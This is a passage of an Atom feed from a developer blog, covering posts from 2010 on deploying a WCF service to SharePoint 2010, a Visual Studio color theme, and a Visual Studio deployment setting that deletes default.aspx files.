/&gt;&lt;li&gt;&lt;span style="font-weight:bold;"&gt;MultipleBaseAddressDataServiceHostFactory&lt;/span&gt; for an ADO.NET Data Service.&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;To provide a MEX endpoint for your service, add an "&lt;span style="font-style:italic;"&gt;[BasicHttpBindingServiceMetadataExchangeEndpoint]&lt;/span&gt;" attribute to your service implementation. This is defined in the assembly Microsoft.SharePoint.Client.ServerRuntime. The namespace is Microsoft.SharePoint.Client.Services.&lt;br /&gt;&lt;br /&gt;Also make sure it has "[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Required)]", otherwise it won't run at all. This is found in the System.ServiceModel assembly, which is required for WCF in general.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;3: Deploy using Visual Studio 2010&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Using one of the new Visual Studio 2010 project templates:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Add your service code&lt;br /&gt;&lt;li&gt;Right-click the project node and add a mapped SharePoint folder, such as LAYOUTS or ISAPI&lt;br /&gt;&lt;li&gt;Deploy your .svc file(s) to a project folder within the mapped folder&lt;br /&gt;&lt;li&gt;Hit build, deploy and take it for a spin.&lt;br /&gt;&lt;/ol&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/a0oeFmwa5FM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/6234511557923044812/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=6234511557923044812" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6234511557923044812?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6234511557923044812?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/a0oeFmwa5FM/building-and-deploying-wcf-service-to.html" title="Building and deploying a WCF service to SharePoint 2010, and writing a console client, all in 3min 28sec" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_rBg2qaJ_4Bw/S9bxsxK0iCI/AAAAAAAAEJ4/4hKRXhYZbC4/s72-c/2010-04-27_1613.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/04/building-and-deploying-wcf-service-to.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MGQHoyeyp7ImA9WxFXFk4.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-6192613595447840115</id><published>2010-04-26T17:47:00.005+02:00</published><updated>2010-05-23T20:30:21.493+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-23T20:30:21.493+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="VS2008" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><title>My Visual Studio 2010 Theme: Son of Obsidian</title><content type="html">Inspired by the good old Obsidian theme, it's meant to be easy on the eyes.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_rBg2qaJ_4Bw/S9W14PH2yAI/AAAAAAAAEJw/nOW7P2AUzvA/s1600/2010-04-26_1747.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 169px;" src="http://2.bp.blogspot.com/_rBg2qaJ_4Bw/S9W14PH2yAI/AAAAAAAAEJw/nOW7P2AUzvA/s320/2010-04-26_1747.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5464473700620748802" /&gt;&lt;/a&gt;&lt;br /&gt;Download available at &lt;a target="_blank" href="http://studiostyles.info/schemes/son-of-obsidian"&gt;studiostyles.info&lt;/a&gt;.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/bHXZy5q7mKw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/6192613595447840115/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=6192613595447840115" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6192613595447840115?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6192613595447840115?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/bHXZy5q7mKw/my-visual-studio-2010-theme-son-of.html" title="My Visual Studio 2010 Theme: Son of Obsidian" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_rBg2qaJ_4Bw/S9W14PH2yAI/AAAAAAAAEJw/nOW7P2AUzvA/s72-c/2010-04-26_1747.png" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/04/my-visual-studio-2010-theme-son-of.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4NRXoyeCp7ImA9WxFREkQ.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-7158727204370905196</id><published>2010-04-26T17:05:00.005+02:00</published><updated>2010-04-26T17:49:54.490+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-26T17:49:54.490+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="work" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><title>SP2010 Deployment: Beware of "Deployment Conflict Resolution Behavior"</title><content type="html">Having finally gotten around to test drive SharePoint 2010 properly, I set out to create a quick site definition. To lay the basis for structure to come, as well as upgradability, I wanted to do as I've usually done with SP2007: leave the site definition next to empty, and attach features to it to do the dirty work. This means that I'd have separate features to deploy files such as a &lt;span style="font-style:italic;"&gt;custom master page&lt;/span&gt;, &lt;span style="font-style:italic;"&gt;default.aspx&lt;/span&gt; and &lt;span style="font-style:italic;"&gt;stylesheets&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The most interesting part here is the default.aspx file. After whipping up the Site Definition project in Visual Studio 2010, I added a feature and a Module project item. I then moved the default.aspx file from the site definition item to the new module.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S9WuQSm2aOI/AAAAAAAAEJg/Gkqhxg_-bQQ/s1600/2010-04-26_1715.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 164px;" src="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S9WuQSm2aOI/AAAAAAAAEJg/Gkqhxg_-bQQ/s320/2010-04-26_1715.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5464465317779892450" /&gt;&lt;/a&gt;&lt;br /&gt;This left me with a project structure as shown above. Clean and simple, with the site definition activating the layout feature, which would go on to provision the default.aspx file. Nothing fancy; easy to grasp. Or so you'd think.&lt;br /&gt;&lt;br /&gt;Next I went on to compile and deploy the package to my local test site. Visual Studio is nice enough to open the "New Site" page when you debug site def projects, so that was truly painless. I then verified that my new sub web worked, and tried returning to the root site.&lt;br /&gt;&lt;br /&gt;Bam. &lt;span style="font-weight:bold;"&gt;404 - Not Found&lt;/span&gt;. Huh?&lt;br /&gt;&lt;br /&gt;I opened SP Designer and checked the root site. Indeed, there was no default.aspx there. I even checked to see that my layout feature hadn't been enabled for the root site - it hadn't. Having redeployed a few times, it dawned on me that the retraction or deployment process was to blame, not SharePoint itself.&lt;br /&gt;&lt;br /&gt;This took me a whole lot of digging through the Visual Studio 2010 + SharePoint 2010 integration model to figure out - Reflector be praised - but in the end the answer turned out to be pretty simple: &lt;span style="font-weight:bold;"&gt;Deployment Conflict Resolution&lt;/span&gt;. Having first found a reference to this concept in one of the VS.SharePoint deployment command dlls, I did a Google search and found it mentioned in brief in &lt;a href="http://msdn.microsoft.com/en-us/library/ee330922.aspx" target="_blank"&gt;this article&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Sure enough, flipping the switch for my module item worked. VS2010 will now deploy the solution, without deleting my root &lt;span style="font-style:italic;"&gt;default.aspx&lt;/span&gt; file - a &lt;span style="font-style:italic;"&gt;conflict&lt;/span&gt; it had no business solving in the first place. Even though I happen to be deploying a &lt;span style="font-style:italic;"&gt;default.aspx&lt;/span&gt; file; I'm not necessarily in the mood to delete &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;all other&lt;/span&gt;&lt;/span&gt; default.aspx files in the site collection.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S9WwtLFPLII/AAAAAAAAEJo/ieq8smKwXek/s1600/2010-04-26_1725.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 160px;" src="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S9WwtLFPLII/AAAAAAAAEJo/ieq8smKwXek/s320/2010-04-26_1725.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5464468012999322754" /&gt;&lt;/a&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/jsCJcv4A9vg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/7158727204370905196/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=7158727204370905196" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/7158727204370905196?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/7158727204370905196?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/jsCJcv4A9vg/sp2010-deployment-beware-of-deployment.html" title="SP2010 Deployment: Beware of &quot;Deployment Conflict Resolution Behavior&quot;" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/S9WuQSm2aOI/AAAAAAAAEJg/Gkqhxg_-bQQ/s72-c/2010-04-26_1715.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/04/sp2010-deployment-beware-of-deployment.html</feedburner:origLink></entry></feed>
